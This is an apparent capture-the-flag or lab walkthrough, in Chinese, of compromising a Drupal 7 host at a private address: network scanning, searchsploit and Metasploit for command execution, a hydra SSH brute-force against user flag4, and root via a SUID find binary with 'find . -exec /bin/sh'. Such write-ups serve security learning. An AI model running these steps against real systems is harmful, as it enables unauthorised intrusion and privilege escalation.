Drupal 7命令执行拿shell,find命令提权
arp-scan -l
masscan -p1-65535 192.168.250.12 --rate=10000
nmap -sC -sV -p- -A -T4 192.168.250.12
访问80端口,看到是Drupal,这个cms有很多漏洞,获取版本
cmseek识别处版本为7
搜索Draupal 7漏洞
searchsploit Drupal 7
可以重置密码
重置管理员后登录
后台暂无法拿shell
换其他漏洞试一下。网上说有一个命令执行,我们试一下
msf搜索可利用的模块
查看home目录
所有必须先提权到flag4用户。知道用户名后我们知道22端口开放所以爆破ssh
hydra -l flag4 -P /usr/share/john/password.lst ssh://192.168.250.12 -vv -f
ssh登录到flag4用户
查找可以执行的操作
find / -perm -u=s -type f 2>/dev/null
看到有find命令,可以使用find提权
find . -exec /bin/sh ; -quit